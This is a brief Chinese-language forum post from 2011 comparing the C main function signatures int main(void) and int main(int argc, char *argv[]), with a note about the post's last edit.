话说我写也用int main(void){return 0;},不过这也不算太正式啊,看看int main(int argc,char *argv[]){return 0;}再说.................................

[ 本帖最后由 华夏遗孤 于 2011-8-10 14:17 编辑 ]

TOP

发新话题